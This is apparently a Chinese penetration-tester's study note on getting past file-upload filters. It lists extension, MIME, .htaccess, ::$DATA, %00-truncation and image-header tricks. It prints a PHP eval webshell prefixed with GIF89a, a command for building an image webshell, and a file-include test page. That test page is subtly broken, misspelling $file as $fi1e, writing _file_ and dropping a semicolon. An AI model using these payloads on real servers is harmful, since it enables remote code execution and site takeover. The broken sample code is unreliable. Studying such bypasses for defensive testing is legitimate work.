进阶上传绕过方法.md 3.4 KB


notion-id: bc0d9c0c-bba7-4bb1-9b2e-c069b34d8c

一,图片马制作 copy 2.jpg/b + as.php/a 3.jpg 二、图片马运行函数

<?php
/*本页面存在文件包含漏洞,用于测试图片马是否能正常运行!*/
header ("Content-Type:text/html:charset=utf-8")
$file = $_GET['file'];
if(isset($fi1e)){
			include $file;
}else{
			show_source(_file_);
}
?>

1、前端JS检测绕过 绕过方式: 2、MIME类型检测绕过 绕过方法:使用burpsuit抓取content-type类型进行绕过

3、文件后缀检测-黑名单绕过 绕过方法:上传特色可解析后缀绕过:php2、php3、php4、php5、phtml

4、文件后缀检测-黑名单绕过【.htaccess】

<FilesMatch "x.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

5、文件后缀检测-后缀点名 空格绕过【. .】 绕过方法:通过过滤方式漏洞进行绕过

**6、文件后缀检测-后缀名大小写绕过 ** 绕过方法通过修改后缀名大小写进行绕过 黑名单缺陷

7、文件后缀检测-后缀点名 空格绕过【.php .】 未过减文件后缀名的空格,通过filename=as,php . 黑名单缺陷

8、文件后缀检测-后缀点名绕过【.php.】 未过减文件后缀名,通过filename=as,php. 黑名单缺陷

9、文件后缀检测-特殊字符串::$DATA 未过滤待殊字符串::$DATA,通过file name=as.php::$DATA绕过 原理:php在window的时候n果文件名+::$DATA会把::$DATA之后的数据当成文件流处理不会检测后缀名,且保持"::$DATA"之前的文件名,他的目的就是不检查后缀名

10、文件后缀检测-后缀名多重点空格绕过(.php. .) 通过多重后缀名点空格绕过filename=as.php. .

11、文件后缀检测-**GET**方式00截断绕过(save_path=/upload/as.php%00) 通过burpsuit抓取 使用%00截断 ![[Notion/👽渗透笔记👽/上传漏洞/attachments/Untitled.png]]

12、文件后缀检测-**POST**方式00截断绕过(save_path=/upload/as.php%00) ![[Notion/👽渗透笔记👽/上传漏洞/attachments/Untitled 1.png]] 通过burpsuit抓取 使用%00截断 需要使用hex 先输入空格找到20编码 然后在前面修改成00

13、文件内容检测-文件头检测绕过【GIF84a】

一句话木马开头添动加图片文件幻数,如:
GIF89a
<?php @eval($_POST[pass]);?>
或者生成图片马:
copy 1.jpg/b 1.php/a 2.jpg

14:文件内容检测getimagesize()函数绕过 绕过方式:通过图片马或图片标识字段+一句话木马绕过 https://blog.csdn.net/qq_34206560/article/details/81044253

15、文件内容检测-exif_imagetype函数绕过 图片木马绕过

16、文件内容检测-图片二次渲染绕过(代码注入绕过)

限制
1.只允许jpeg、png、gif类型文件上传
2.png图片文件二次渲染:imagecreatefrompng函数
3.jpeg图片文件二次宣染:imagecreatefromjpeg☒数
4.gif图片文件二宣染:imagecreatefromgif函数
理解上方函数的意义

绕过
可以用图像处理软件对张图片进行代码注入,这类攻击的原理是:在不破坏文件本身的渲染
情况下找一个空白区进行填充代码,一股是图片的注释区,这样能保证本身文结构是完整
的,对于宣染测试基本上都能绕过